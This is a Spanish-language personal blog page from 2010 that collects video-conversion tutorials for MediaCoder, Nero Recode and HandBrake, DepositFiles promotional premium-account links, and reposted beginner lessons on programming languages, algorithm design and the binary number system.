lunes, 29 de marzo de 2010

Tutoriales de Mediacoder

Image

Pulsamos Finish. (Finalizar)

Image

Si no se ejecuta el programa en la barra de tareas al lado del reloj, verás el icono del Mediacoder , púlsalo …

Image

Al ejecutarse el programa veremos que el idioma es Inglés, para cambiarlo al idioma deseado en nuestro caso Español seguiremos los pasos de la imagen (Options / User Interface Language /Spanish (Castilian))

Image

Nos informa que debemos reiniciar el programa para guardar los cambios y que se quede configurado al idioma escogido (Español), pulsamos OK y lo ejecutamos nuevamente.

En este caso vamos a convertir una muestra de vídeo en formato WMV (Windows Media vídeo) a .AVI con el Codec XviD.

La configuración que vamos a realizar .AVI sirve para cualquier vídeo de entrada en diferente formato que queramos convertir a .AVI

Image

Veremos que ahora sí lo tenemos en Español, siguiendo los pasos de la imagen pinchamos en Add…(Agregar archivo), buscamos el vídeo deseado en la ruta/lugar donde lo tenemos y pulsamos abrir…

Image

El vídeo se agrega al programa, si os fijáis en el panel derecho superior podemos ver las propiedades de nuestro vídeo agregado.

Más abajo en la ficha
Genérico
Carpeta de salida

Pulsáis en Buscar y elegís la ruta donde se guardará nuestro archivo/vídeo

Image

Pulsamos la ficha Audio y ponemos los mismos datos que tenemos en las imágenes

Audio y en el panel derecho LAME MP3 como nos muestras las fotos

Image

Ahora pulsamos en la ficha Vídeo como nos indica

Modo: Bitrate-based
Formato: XviD
Contenedor: AVI

PD: en tipos de modo podemos escoger entre

Biltrate-based: base de biltrate (La escogida)
Two-pass: dos pasadas
(Mejor calidad pero tarda más en codificar, da dos pasadas

Quality-based: base de calidad (Menos calidad)

Three-Pass: tres pasadas Calidad excelente (tres pasadas),pero tarda mucho.

También depende del procesador y memoria de nuestro PC.

En la ficha Formato veréis al desplegarlo que se puede cambiar el códec deseado en el panel derecho pulsando en Resumen podemos ver cómo queda nuestro archivo de vídeo a codificar

Image

Al pulsar en la parte de arriba en el botón Start , empezará la codificación de vídeo, dependiendo de las características de nuestro equipo/PC, tardará la codificación del mismo…

Image

Al acabar nos informa que la operación ha sido realizada pulsamos OK y ya tenemos nuestro vídeo.

Si tenéis dudas o problemas no os lo penséis dos veces y pasaros por nuestro foro software.

Manual realizado por Enrique (Centurion12) para SoftZone y Adslzone. Queda prohibida su copia parcial o total sin el consentimiento del autor.


Este tutorial sirve para convertir los videos mp4 a avi sin perder calidad de imagen para asi ser reproducidos en un dvd de sobremesa que lea Divx o Xvid.

Aqui el link para el programa

MediaCoder 0.6.1 http://www.megaupload.com/?d=WDVDR157

Existen versiones mas nuevas pero no me gustan ya que dejan el archivo resurtante mas pesado que esta version

Resultados:

- El avi resultante pesara entre 170 a 210 MB (segun el bitrate que usen)
- Tiempo estimado de conversion: 40-50 minutos por capitulo.
- Proceso que no ocasiona lentitud en el pc
- La calidad excelente, y sin pixelación.

Pasos:

1) Primero que nada despues de instalarlo cambiaremos el Idioma que tiene por default (Ingles) a Español en el menu: "Options" -> "User Interface Language" -> "Spanish (Latin American)" [Cerramos y Abrimos es programa para que hagan efecto los cambios]
!!Listo ya esta en español!!



2) Vamos a "Archivo" -> "Añadir Archivo" y seleccionamos el o los mp4 que deseamos convertir en avi:




3) Van a la parte de abajo y seleccionan "AUDIO" y lo dejan tal cual sale en la imagen. Si no sale el "LAME MP3", escojan cualquier codec MP3.




4) Ahora nos dirigimos a "VIDEO", selecionan "TWO PASS" y le ponen el mismo bitrate del MP4 o uno un poco inferior, fijense en las capturas para que vean de donde se saca el bitrate del capitulo. Con el TWO PASS, el resultado es casi igual, pero así evitamos la pixelación.
Cambienle el Formato a "XVID" Y el Contenedor a "AVI"
[De una vez seleccionamos la carpeta de salida]



5) Van a "IMAGEN" y le ponen la resolución deseada.



ADVERTENCIA: La resolucion de un mp4 van desde los 848x480 hasta los 1280x720, o sea, es muy grande, Por lo cual en muchos dvds estas altas resoluciones no se reproduciran, entonces hay que bajarlas. Esta disminucion no causara perdida de calidad y ayudará a diminuir un poco en el tamaño del archivo final.

Recomendaciones:
Original MP4 - Final AVI
1280x720 - 704x396
848x480 - 704x396
784 x 576 - 640x480


o si quieren una resolucion especifica usen una simple regla de tres, otra cosa para poder cambiar la resolucion se salta de 720x400 a 640x480 si quieren una que no sale tiene que escribirla simplemente en la opcion

Estas resoluciones no alteran el aspecto que es lo que se desea...

6) Una vez todo listo, presionan F5 o este icono.



7) Esperar a que termine la conversión y Disfrutar

Fuente: http://shadowofangelo.blogspot.com/2009/03/convierte-mp4-avi-con-mediacoder.html

Incrustar subtitulos a un video

Despues de configurar el video, nos vamos a la pestaña "Subtitulos" y buscamos nuestro archivo srt o lo que sea que tengan y colocan otro tipo de letra ya que la que sale por defecto el programa no la reconoce y no hace nada



Unir videos

Despues de añadir los archivos que queremos unir en y configurar el resurtado que queremos simplemente no vamos a "modo de tarea" y colocamos "Join" y esperamos que termine



Este programa tiene muchas mas funciones pero estas son las que he utilizado




Tutorial de Nero Recode por Kumanavi

Kumanavi:
Hola, en esta ocasión les enseñare a reducir de tamaño un video y pasarlo a mp4 con poco peso, gran calidad, en poco tiempo y eso sí, de una manera fácil y sencilla.

Primero que nada tendrás que utilizar el Nero Recode, que viene en cualquier Nero, que no sea el básico claro está, aquí mismo en blog anime, está el Nero Ultra Edition, el 7.5 bastara para esta demostración (además de que creo es de los mejores para este propósito).
Bueno una vez que lo tengas instalado, ve a:

Inicio --- >
Todos los Programas ---->
Nero Ultra Edition ------>
Fotografía y Video --->
Nero Recode



Bien les va a aparecer un menú y eligen la opción Recodificar DVD y Videos a Nero Digital:


Bueno les debe aparecer una ventana más o menos así:


Bien ahora denle clic donde dice Importar Archivo y elijan el video que quieren convertir a MP4 (yo utilizare uno de Bon Jovi – Wanted Dead or Alive, ya que me encanta esa canción), ustedes elijan algo corto para que terminen pronto y puedan practicar de nuevo.
Como nota, al momento de importar el archivo, les aparecerá una ventanita de “analizando video”, denle cancelar, para que avancen más rápido, no afecta en nada a la conversión.
Al elegir el video les debe aparecer ya algo así:



Bien, Ahora les explicaré cada una de las cosas que aparecen de opciones:



1. Importar Archivo: Este es el que utilizamos para agregar más archivos a la conversión.
2. Eliminar: Pues borra un video que seleccionemos de la Conversión
3. Bloquear Relación: Pues bloquea el video seleccionado para que no se pueda modificar nada de él, ni vbr ni tamaño ni nada (este nunca lo utilizaremos)
4. Cortar Película: sirve para que nada mas convirtamos una parte del video y no todo.
5. Capítulos: Utilizado principalmente en Dvd, pues sirve para ir separando el video en capítulos.
6. Video: Da todas las opciones de video aplicables al video que queremos transformar (nota, hay que modificar uno por uno los videos, sino no lo hace)
7. Calidad del Video: Especifica el tamaño del video en Mbps o en Kbps, basta con ir moviendo la barra de desplazamiento para ir cambiando el tamaño final del video.
8. Categoría de Nero Digital: con los tipos de configuraciones que podemos utilizar en las conversiones de nuestros videos, aquí siempre utilizaremos el Nero Digital AVC
9. Perfil de Nero Digital: Aquí encontraremos todas las configuraciones posibles dentro de las categorías de Nero, Cinema, Estándar y muchas más, usaremos estándar como la base a nuestras conversiones, si usamos la categoría cinema, el video quedara un poquitín mejor, pero el tamaño aumentara considerablemente.
10. Ajustar a Destino: Esta opción nos permite especificar el destino final del video (CD, DVD, DVD-9, recomiendo deshabilitarlo para que puedan hacerlo todo a su manera.
11. Configuración de Sonido: Aquí podemos elegir la calidad del sonido de nuestro video (30, 32, 40, 48, 64, 128, 192 kbps), entre mas tamaño mejor será nuestro sonido, pero más pesado será el video, recomiendo 32 a 64 kbps).
Bueno, pues seguimos, ahora denle clic al botón de Configuración de Sonido y les aparecerá la siguiente pantalla:



Como les había comentado, recomiendo una configuración de entre 32 kbps hasta 64kbps, yo en este video utilizare una calidad de 40kbps, lo de Hz déjenlo como esta, no importa.
En la parte de abajo esta el potencial de Volumen: Estándar, Alto y Muy Alto, recomiendo el Estándar en series, películas y anime y el volumen Alto en Música. Por lo pronto lo dejare estándar.

Seguimos, ahora denle clic a la opción de Video, para modificar lo necesario para una buena conversión:



Como ven hay varias pestañas: Des entrelazar, Recortar y Cambiar Tamaño, las cuales dejaremos de la siguiente manera:
Desentrelazar: Lo dejaremos en Desactivado.
Recortar: Desactivado
Cambiar Tamaño: Desactivado

Con esto la conversión debería ser perfecta y muy buena, pero aun haremos 2 cosas más, para asegurarnos de la perfección de nuestra conversión:

Ahora, vamos a la opción de Calidad del Video y desplazamos la barrita hasta la calidad que queremos tener, el Real Anime convierte con una calidad de 268kbps, con eso sería mas que suficiente para que nuestro video quede igual a los de real anime, aun así, yo recomiendo dejarlo en 300 kbps eso nos dejaría un video de calidad perfecta y muy satisfactoria.



Bien vamos a lo siguiente y ultimo de este pequeño gran tutorial.

Le Damos clic en siguiente y nos aparecerá una última ventana con dos opciones:



La primera opción nos indica el lugar en donde nuestro video quedara guardado al finalizar la conversión, cosas que podemos modificar fácilmente, aunque no importa mucho, la segunda opción es la importante:

Notaran que hay una casilla de Modo Experto Activada, esa casilla esta desactivada la primera vez que codifiquen así que actívenla, porque nos será de mucha utilidad, una vez activada la casilla verán que les aparecen más opciones, modificaremos algunas de estas nuevas opciones:



Control de Velocidad: En esta opción utilizaremos la velocidad de alta calidad (2 pasos) esta es primordial para que nuestro video quede como los de real anime.

Configuraciones Generales: en esta opción subiremos la barra de desplazamiento hasta calidad alta para que se vea mejor aun el video.

Ahora si señores, denle donde dice grabar, como es la primera vez, les mandara a una página de Nero, que revisa compatibilidades de formatos y no sé qué cosa más, ahí se puede desactivar, en donde dice Mostrar Dispositivos compatibles con Nero digital, así evitaremos que nos mande a dicha pagina cada vez que convirtamos algo

Eso es todo, como extra les dejo la captura y el video de cómo me quedo la conversión

Capturas:

Video: http://www.mediafire.com/?n0ldjkzl21n
Espero les haya servido y les sea de mucha utilidad en un futuro no lejano

Tutorial HandBrake

Usando Handbrake


Es un conversor de video especialmente diseñado para adaptar tus DVD a reproductores portátiles


1- Abrimos el programa HandBrake y nos aparecera la siguiente pantalla:




2- Hacemos click en la pestaña “Source” y clickeamos en donde se encuentra nuestro DVD como lo indica la siguiente imagen:





3- Luego de haber hecho click en donde se encuentra nuestro DVD en el paso anterior nos aparecera una pequeña ventana llamada “Reading Source” como en la siguiente imagen y nos dira que aguardemos un minuto para que carge alprograma nuestro DVD




4- Una vez que el programa cargo nuestro DVD la pequeña ventana habra desaparecido y luego hacemos click en el boton “Browse” para elegir donde sera guardado nuestro MP4,como en la imagen siguiente:




5- Luego de elegir donde guardar nuestro MP4 vamos al margen derecho del programa y damos click donde dice “ipod” y luego nos dirigimos al centro de la pantalla y nos vamos a encontrar con 2 casilleros; uno color verde que dice “320″ y otro en blanco que esta vacio,en el que esta vacio escribimos “240″,exactamente como lo muestra la siguiente imagen:





6- Luego nos dirigimos a la pestaña “Audio & Subtitles” y en el margen izquierdo,en la casilla nº 1 llamada “source” elegimos nuestro Audio/Idioma y mas abajo se dirigen a donde dice “Subtitles” y eligen el subtitulo que quieran y se dirigen al margen de arriba a la izquierda y hacen click en el boton “Start” y comenzara a convertir nuestro DVD a MP4,como en la siguiente imagen:




7- Luego de hacer click en el boton “Start” nos aparecera una pequeña ventana con el fondo de color negro que nos indicara el progreso de conversion como muestra la imagen mas abajo,cuando llegue al 100% significa que la conversion a terminado y ya podemos cerrar elprograma y buscar nuestra pelicula MP4 en la carpeta que eligieron en un principio y la podran importar al itunes



Descargar programa AQUI

domingo, 28 de marzo de 2010

gold night depositfiles

DepositFiles Gold Night





Por los momentos va a haber una promoción en la web que ustedes los usuarios de X-Taringa.org podrán participar, observaran un banner en esta página que es así:
Este banner se mostrara por un transcurso de 23hrs cambiara solo 1 hora por este otro.
Cuando aparezca este banner es el momento en que debes de darle clic en la imagen te enviara a la web de Depositfiles y te convertira tu cuenta normal en una premium dependiendo de tu suerte te daran un dia o una semana de premium gratis. Si no estas registrado en Depositfiles Registrate desde aqui. Esta es la lista de ganadores



PULSAR AQUI DESPUES DE REGISTRARSE PARA TENER UNA CUENTA PREMIUN


http://depositfiles.com/es/gold/shared_key.php?key=15dbhodrpjkvaxtc
http://depositfiles.com/es/gold/shared_key.php?key=2e1bmupj8y7pkzsb
http://depositfiles.com/es/gold/shared_key.php?key=3hxzwiznlua8sp7w
http://depositfiles.com/es/gold/shared_key.php?key=qgwfc8uasf65zja8
http://depositfiles.com/es/gold/shared_key.php?key=cor0ivbd6k84x6od
http://depositfiles.com/gold/shared_key.php?key=k5z7rm34neuv05id
http://depositfiles.com/gold/shared_key.php?key=jnf23qca17x47vc5

viernes, 12 de marzo de 2010

Tutos de una comunidad hacker

Tutos de una comunidad hacker, en la que soy nuevo mienbro novato , estos tutos yo no los hice los hizo ochi45, pero los pongo en mi blog , ya que otras veces fui a mirar algun tuto y ya los habian borrado

Un lenguaje de programacion es... (explicasion)+


Para poder crear un programa debemos utilizar un determinado lenguaje de programación. Nos encontramos con varios tipos de lenguaje, que se distinguen por su proximidad al lenguaje humano o al lenguaje máquina.

Lenguajes de bajo nivel: Son muy parecidos al código máquina (el que entiende el ordenador), por lo que son muy difíciles de aprender y usar, pero tienen como gran ventaja la posibilidad de utilizar al máximo las prestaciones de la máquina.

Lenguajes de alto nivel: Están más alejados del código máquina pero son más parecidos al lenguaje humano. Son, por tanto, más fáciles de aprender y usar, pero no permiten acceder a ciertas operaciones que sí permiten los de bajo nivel. No todos los lenguajes pertenecientes a este grupo tienen el mismo nivel. Así, podríamos considerar el BASIC como el de más nivel y el C el de menos nivel (pero siempre dentro de los cercanos al lenguaje humano).

Al primer grupo pertenece el ensamblador, que sólo se usa para casos muy concretos que necesiten la manipulación de bits o para crear virus. Al segundo grupo pertenecen la mayoría de los lenguajes existentes, entre los que podemos destacar los siguientes:

C: Fue creado por Brian Kernighan y Dennis Ritchie
y es uno de los más utilizados en la actualidad. El sistema operativo UNIX fue escrito en este lenguaje. Posteriormente a la aparición de C, se diseñó C++, ampliación del anterior y que está dirigido a la OOP (Programación Orientada a Objetos).

PASCAL: Fue creado por Niklaus Wirth, que también creó Modula-2. Está pensado para crear programas de tipo matemático. Delphi, entorno creado para desarrollar programas en 32 bits bajo interfaz gráfica, está basado en este lenguaje.

FORTRAN: (Acrónimo de FORmula TRANslator). Es el lenguaje de programación más antiguo, aunque aún se sigue utilizando.

BASIC: Su nombre es debido a que es una simplificación del FORTRAN. Fue un lenguaje muy utilizado en la década de los ochenta, aunque ha perdido terreno. Actualmente, es muy utilizado Visual Basic, que es la versión creada por Microsoft para desarrollar programas con interfaz gráfica en BASIC.

COBOL: (COmmon Business Oriented Language): Se utilizaba hace años para la creación de aplicaciones comerciales. Fue uno de los lenguajes de programación más populares y aún se usa.

LOGO: Este lenguaje no se caracterizaba por su eficiencia, sino porque era muy fácil de aprender. Fue diseñado con el objetivo de facilitar el aprendizaje de la programación a los niños, que en el futuro podrían adaptarse fácilmente otro lenguaje más completo. Apenas se usa hoy en día.

LISP: (LISt Processing): El nombre es debido a que sus estructuras de datos fundamentales son las listas. Está dirigido a la creación de sistemas que simulen la inteligencia humana.

Desde que se inició la programación de ordenadores, los lenguajes han ido evolucionando, hasta el punto de que podemos diferenciarlos en cinco generaciones:

Primera generación: Al principio los ordenadores sólo podían ser programados en código binario, es decir, secuencias de ceros y unos. Los programadores debían adaptarse al lenguaje de la máquina (lenguaje máquina), que era distinto en cada modelo de ordenador.

Segunda generación: Dado que la programación en código binario era extremadamente difícil, se crearon los primeros lenguajes simbólicos o ensambladores. También dependían del ordenador que se estaba utilizando, aunque el código era más legible.

Tercera generación: Se crearon los primeros lenguajes de alto nivel. Los códigos utilizados ya no dependían de la máquina y además eran muy parecidos al lenguaje humano y el lenguaje matemático.

Cuarta generación: Corresponde a los lenguajes que pertenecen a la OOP (Object Oriented Programming o Programación Orientada a Objetos). En este tipo de lenguajes se pretende que las aplicaciones consten de diversos segmentos de programa, los cuales se pueden reutilizar para otros programas.

Quinta generación: Esta generación se refiere a los lenguajes dirigidos a la Inteligencia Artificial (IA). Aún están muy poco desarrollados.

Diseño Estructural de Algoritmos


Conceptos Básicos Y Metodología Para La Solución De Problemas Por Medio De Computadoras

1.1 Definición De Lenguaje

1.2 Definición De Algoritmo

1.3 Algoritmo Cotidiano

1.4 Definición De Lenguaje Algorítmico

1.5 Historia Y Aplicación De Los Lenguajes Algorítmicos

1.6 Definición De Problemas

1.7 Análisis De Los Datos

1.8 Diseño De La Solución

1.9 Codificación

1.10 Prueba y Depuración

1.11 Documentación

1.12 Mantenimiento

1.1 Definición De Lenguaje

Lenguaje

Medio de comunicación entre los seres humanos a través de signos orales y escritos que poseen un significado. También podría decirse que es cualquier procedimiento que sirve para comunicarse, representado mediante símbolos y caracteres específicos

Desde El Punto De Vista Informático El Lenguaje Es:

La representación por medio de signos, símbolos y caracteres que existe entre la comunicación de la PC.

Lenguajes De Programación

Son los lenguajes utilizados para escribir programas de computadoras que puedan ser entendidos por ellas.

Los lenguajes de programación se clasifican en tres grandes categorías:

- Máquina

- Bajo nivel (ensamblador) y

- Alto nivel

Lenguaje Máquina

Es el lenguaje propio de la computadora, basado en la lógica binaria, de ceros y unos (00010111). Este lenguaje resulta difícil de utilizar para las personas; ya que el programador debe introducir todos y cada uno de los comandos y datos en forma binaria, y una operación sencilla como comparar el contenido de un registro con los datos situados en una ubicación del chip de memoria puede tener el siguiente formato: 11001010 00010111 11110101 00101011.

La programación en lenguaje máquina es una tarea tan tediosa y consume tanto tiempo que muy raras veces lo que se ahorra en la ejecución del programa justifica los días o semanas que se han necesitado para escribir el mismo.

Lenguaje De Bajo Nivel

(Ensamblador)

Como vimos anteriormente la programación en lenguaje máquina es difícil por ello se necesitan lenguajes que faciliten este proceso. Por este motivo han sido diseñados los lenguajes de bajo nivel.

Estos lenguajes dan a cada instrucción un mnemónico, como por ejemplo STORE, ADD o JUMP. Los lenguajes de bajo nivel permiten crear programas muy rápidos, pero que son a menudo difíciles de aprender. Esta abstracción da como resultado un lenguaje de muy bajo nivel que es específico de cada microprocesador:

El Lenguaje Ensamblador

.Al asignar un código mnemotécnico (por lo general de tres letras) a cada comando en lenguaje máquina, es posible escribir y depurar o eliminar los errores lógicos y de datos en los programas escritos en lenguaje ensamblador, empleando para ello sólo una fracción del tiempo necesario para programar en lenguaje máquina.

En el lenguaje ensamblador, cada comando mnemotécnico y sus operadores simbólicos equivalen a una instrucción de máquina. Un programa ensamblador traduce el código fuente, (una lista de códigos de operación mnemotécnicos y de operadores simbólicos), a código objeto (es decir, a lenguaje máquina) y, a continuación ejecuta el programa, todo esto gracias a un intérprete o a un compilador, los cuáles veremos más adelante

Sin embargo, el lenguaje ensamblador puede utilizarse con un solo tipo de chip de CPU o microprocesador, por lo que los programas escritos en un bajo nivel son prácticamente específicos para cada procesador.

Si se quiere ejecutar el programa en otra máquina con otra tecnología, será necesario rescribir el programa desde el principio.

Así que los programadores necesitaban un método abreviado en el que un enunciado simbólico pudiera representar una secuencia de numerosas instrucciones en lenguaje máquina, y un método que permitiera que el mismo programa pudiera ejecutarse en varios tipos de máquinas. Estas necesidades llevaron al desarrollo de lenguajes de alto nivel.

Lenguaje De Alto Nivel

Los llamados lenguajes de alto nivel son los que se emplean con mayor frecuencia como lenguajes de programación, porque permiten expresar los algoritmos de una manera y con un estilo fácilmente reconocible por parte de diversos programadores y usuarios; debido a que están formados por elementos de lenguajes naturales, como el inglés utilizando términos del tipo LIST, PRINT u OPEN como comandos.

En Basic, el lenguaje de alto nivel más conocido, los comandos se introducen desde el teclado, desde un programa residente en la memoria o desde un dispositivo de almacenamiento, y son interceptados por un programa que los traduce a instrucciones en lenguaje máquina.

Asimismo, presentan una ventaja fundamental: la facilidad de poder ser transportados de una máquina a otra sin necesidad de realizar grandes cambios en ellos, por lo que se dice que son independientes de la máquina empleada.

A este grupo pertenecen los lenguajes más conocidos, tales como el APL, FORTRAN, PASCAL, COBOL, LISP, PROLOG, C, ADA, PL/I.

Sin embargo, tanto los lenguajes de alto nivel como los de bajo nivel, no son entendibles directamente por la máquina, sino que necesitan ser traducidos a instrucciones en lenguaje máquina que entiendan las computadoras por lo que es necesario disponer de una interfase con el lenguaje máquina para que el programa sea ejecutable. Al respecto existen dos tipos fundamentales de interfase, que son:

a) Compiladores

b) Intérpretes

Un compilador es:

Un traductor que facilita la comunicación entre el programador y la máquina, por medio de un proceso de transformación llamado compilación.

De esta manera traduce un programa íntegro a lenguaje máquina antes de su ejecución, por lo cual se ejecutan con tanta rapidez como si hubiesen sido escritos directamente en lenguaje máquina.

El compilador es el más eficaz para la mayor parte de las máquinas, puesto que presenta la ventaja de de que cada una de las sentencias del programa es interpretada y traducida al lenguaje máquina solo una vez.

Un compilador crea una lista de instrucciones de código máquina, el código objeto, basándose en un código fuente.

El código objeto resultante es un programa rápido y listo para funcionar, pero que puede hacer que falle el ordenador si no está bien diseñado.

.

Un intérprete es:

Es un programa que se traduce línea por línea bajo la misma plataforma.

Es Un traductor pero más lento que los compiladores ya que no producen un código objeto, sino que recorren el código fuente una línea cada vez. Cada línea se traduce a código máquina y se ejecuta. Cuando la línea se lee por segunda vez, como en el caso de los programas en que se reutilizan partes del código, debe compilarse de nuevo. Aunque este proceso es más lento, es menos susceptible de provocar fallos en la computadora

1.2 Definición De Algoritmo

ALGORITMO

Un algoritmo es una serie de pasos lógicos para realizar una acción, programa o tarea ya que es el primer paso para realizar un programa.

Y tiene ciertas características que son:

Preciso

Esto quiere decir que debe indicar el orden en cada paso.

Definido

Es decir, si se sigue dos veces, obtiene el mismo resultado cada vez.

Finito

Que tiene fin, o sea un número definido de pasos.


Ejemplos de algoritmos son:

Instrucciones para montar una bicicleta

Hacer una receta de cocina

Obtener el máximo común divisor de dos números, etc.

Los algoritmos se pueden expresar por fórmulas, diagramas de flujo, y pseudocódigos. Ésta última representación es la más utilizada en lenguajes estructurados como Turbo Pascal.

1.3 Algoritmo Cotidiano

Un algoritmo cotidiano es:

La serie de pasos que realizamos en nuestra vida diaria para realizar las diferentes tareas y actividades comunes, desde los pasos al levantarnos, así como ir de compras, etc.

1.4 Definición De Lenguaje Algorítmico

Para definir el lenguaje algorítmico:

Cabe recordar que el conjunto de todas las operaciones a realizar, y el orden en el que deben efectuarse, se le denomina algoritmo.

Así que el lenguaje algorítmico es aquel por medio del cual se realiza un análisis previo del problema a resolver y encontrar un método que permita resolverlo.

1.5 Historia Y Aplicación De Los Lenguajes Algorítmicos

Al igual que los idiomas sirven de vehículo de comunicación entre los seres humanos, existen lenguajes que realizan la comunicación entre los seres humanos y las computadoras.

Estos lenguajes permiten expresar los programas o el conjunto de instrucciones que el operador humano desea que la computadora ejecute.

Los lenguajes de computadoras toman diferentes formas; los de las primeras computadoras, como la ENIAC y la EDSAC, se componían en el lenguaje real de las máquinas mismas. La dificultad de programar las máquinas de esta manera limitaba drásticamente su utilidad y proporcionaba un fuerte incentivo para que se desarrollaran lenguajes de programación más orientados hacia la expresión de soluciones con la notación de los problemas mismos.

Los primeros lenguajes de programación se conocieron como Lenguajes Ensambladores, un ejemplo es: TRANSCODE, desarrollado para la computadora FERUT.

En los lenguajes ensambladores como mencionamos anteriormente en el apartado 1.1 se define un código especial llamado mnemotécnico para cada una de las operaciones de la máquina y se introduce una notación especial para especificar el dato con el cual debe realizarse la operación.

A mediados de los años 60's aparecieron los primeros lenguajes de propósito general como FORTRAN, FORTRAN IV, ALGOL, COBOL, BASIC, PL/I, ADA, C, C++, PASCAL, etc. pero el desarrollo de nuevas tecnologías, tanto en arquitectura de computadoras como en lenguajes de programación, continúa a paso acelerado, cada vez con mayor velocidad, el panorama está cambiando de una etapa de sistemas y lenguajes especialmente desarrollados para aplicaciones individuales. Los lenguajes de programación actuales son los conocidos como Lenguajes visuales, como por ejemplo Visual Fox, Visual Basic, Visual C.

1.6 Definición De Problemas

Con el fin de resolver un problema utilizando un sistema de cómputo, debe seguirse una serie de pasos que permiten avanzar por etapas bien definidas hacia la solución y ejecución de la misma

Esta serie de fases o pasos deben seguirlas todos los programadores.

Estas etapas son las siguientes


.

Definición del problema

La primera fase en la resolución de un problema por computadora es la definición o análisis del problema. En donde lo más importante es que conozcamos exactamente lo que debe hacer el programa y "que se desea obtener al final del proceso”

Para poder definir con precisión el problema se requiere que las especificaciones de entrada y salida sean descritas con detalle ya que esto es un requisito para lograr una solución eficaz; por lo que es conveniente hacerse las siguientes preguntas:

1.- ¿Qué entradas se requieren? (Tipo Y Cantidad)

2.- ¿Cuál es la salida deseada? (Tipo Y Cantidad)

3.- ¿Qué método produce la salida deseada?}

1.7 Análisis De Los Datos

Una vez que el problema ha sido definido y comprendido, deben analizarse los siguientes aspectos:

1.- Los resultados esperados.

2.- Los datos disponibles.

3.- Herramientas a nuestro alcance para manipular los datos y alcanzar un resultado.

Esta sería un diagrama de la resolución de un problema en su más mínima expresión.


Y mientras esto no se comprenda no puede pasarse a la siguiente etapa.

1.8 Diseño De La Solución

Para realizar el diseño de la solución:

Como todos sabemos, una computadora no tiene capacidad para solucionar problemas más que cuando se le proporcionan los sucesivos pasos a realizar, esto se refiere a la obtención de un algoritmo que resuelva adecuadamente el problema.

En caso de que obtengamos varios algoritmos, seleccionaremos uno de ellos utilizando criterios ya conocidos.

Esta etapa incluye:

La descripción del algoritmo resultante en un lenguaje natural, en un diagrama de flujo o natural de programación.

De esta manera, solo se establece la metodología para alcanzar la solución en forma conceptual, es decir; sin alcanzar la implementación en el sistema de cómputo.

Así tenemos que la información proporcionada constituye su entrada y la información producida por el algoritmo constituye su salida.

Los problemas complejos se pueden resolver más eficazmente por la computadora cuando se dividen en subproblemas que sean más fáciles de solucionar.

|

1.9 Codificación

Codificación es la escritura en un lenguaje de programación de la representación del algoritmo desarrollada en etapas precedentes. Esto se refiere a la obtención de un programa definitivo que pueda ser comprensible para la máquina.

Cabe destacar que si la codificación original se realizó en papel, previo a la compilación deberá existir un paso conocido como trascripción.

Y posteriormente, una vez que el algoritmo se ha convertido en un programa fuente. Este programa fuente debe ser traducido a lenguaje máquina, este proceso se realiza con el compilador, y se obtiene el programa objeto, (siempre y cuando el programa fuente sea correcto) que posteriormente se vuelve un programa ejecutable.

Estos pasos a continuación se describen de una forma esquematizada:



1.10 Prueba y Depuración

La Prueba se realiza tras la compilación.

Si tras la compilación se presentan errores (errores de compilación) en el programa fuente, es preciso volver a editar el programa, corregir los errores y compilar de nuevo, este proceso se repite hasta que no se producen errores.

De esta manera se obtiene el programa objeto, que todavía no es ejecutable directamente, pero si no contiene errores se debe instruir al sistema para que realice la fase de montaje o enlace del programa objeto con las librerías del programa del compilador; este proceso de montaje produce un programa ejecutable.

La Depuración es el proceso de encontrar los errores del programa y corregir o eliminar dichos errores.

Cuando se ejecuta un programa, se pueden producir tres tipos de errores:

1.- Errores de compilación. Se producen normalmente por un uso incorrecto de las reglas del lenguaje de programación y suelen ser errores de sintaxis, por lo tanto la computadora no puede comprender la instrucción, y obviamente no se obtendrá el programa objeto, y el compilador imprimirá una lista de todos los errores encontrados durante la compilación.

2.- Errores de ejecución. Estos errores se producen por instrucciones que las computadoras pueden comprender, pero no ejecutar. Ejemplos de éstos son: una división por cero, y raíces cuadradas de números negativos; por lo que en este caso se detiene la ejecución del programa y se imprime un mensaje de error.

3.- Errores lógicos. Se producen en la lógica del programa y la fuente del error suele ser el diseño del algoritmo. Estos errores son los más difíciles de detectar, ya que el programa puede funcionar y no producir errores de compilación ni ejecución, y solo puede detectarse cuando se advierte un error por la obtención de resultados incorrectos.

En este caso se debe volver a la fase del diseño del algoritmo, modificarlo, cambiar el programa fuente, compilar y ejecutar una vez más.

1.11 Documentación

La documentación de un problema consta de las descripciones de los pasos a dar en el proceso de resolución de un problema. La importancia de la documentación es por su decisiva influencia en el producto final.

Programas pobremente documentados son difíciles de leer, más difíciles de depurar y casi imposibles de mantener y modificar. Por ello la importancia de la documentación, sin la documentación es imposible corregir errores futuros o bien cambiar el programa


1.12 Mantenimiento

El mantenimiento se define como la modificación del programa por medio de actualizaciones, que mejoran al programa, corrigiendo errores o bien actualizándolos para un mejor funcionamiento.

Por ello la documentación es sin duda muy importante para poder llevar a cabo el mantenimiento.

Instituto Tecnológico Superior De Coatzacoalcos Diseño Estructural de algoritmos I

Unidad I

COMPILACIÓN

Código

Fuente

Programa

Ejecutable

Código objeto

Codificación

Diseño de la solución

Análisis de los datos

Definición del problema

Prueba y depuración

Mantenimiento

Definición de un problema

Diseño

Del

Algoritmo

Resolución del problema con la computadora

Resolución de un problema

ALGORITMO RESULTANTE EN LENGUAJE NATURAL

ALGORITMO QUE RESUELVA EL PROBLEMA

TRANSCRIPCION

Si la codificación se escribió en papel

Se realiza la:

Algoritmo realizado en etapas anteriores

Para realizar la conversión del algoritmo en programa, se deben sustituir las palabras reservadas en español por sus homónimos en inglés, (hablando de un lenguaje de alto nivel) y las operaciones, instrucciones indicadas en lenguaje natural.

CODIFICACIÓN

COMPILACIÓN


PROGRAMA FUENTE

PROGRAMA OBJETO

PROGRAMA EJECUTABLE

INTERNA

Esta documentación son los comentarios o mensajes que facilitan el entendimiento del proceso.

EXTERNA

Incluye análisis, diagramas de flujo, y/o pseudocódigos, manuales de usuario, con instrucciones para ejecutar el programa y para interpretar los resultados.

Sistema Binario (muy completo)



Sistema binario

El sistema binario, en matemáticas e informática, es un sistema de numeración en el que los números se representan utilizando solamente las cifras cero y uno (0 y 1). Es el que se utiliza en los ordenadores, pues trabajan internamente con dos niveles de voltaje, por lo que su sistema de numeración natural es el sistema binario (encendido 1, apagado 0).


Historia del sistema binario

El antiguo matemático hindú Pingala presentó la primera descripción que se conoce de un sistema de numeración binario en el siglo tercero antes de nuestra era, lo cual coincidió con su descubrimiento del concepto del número cero.

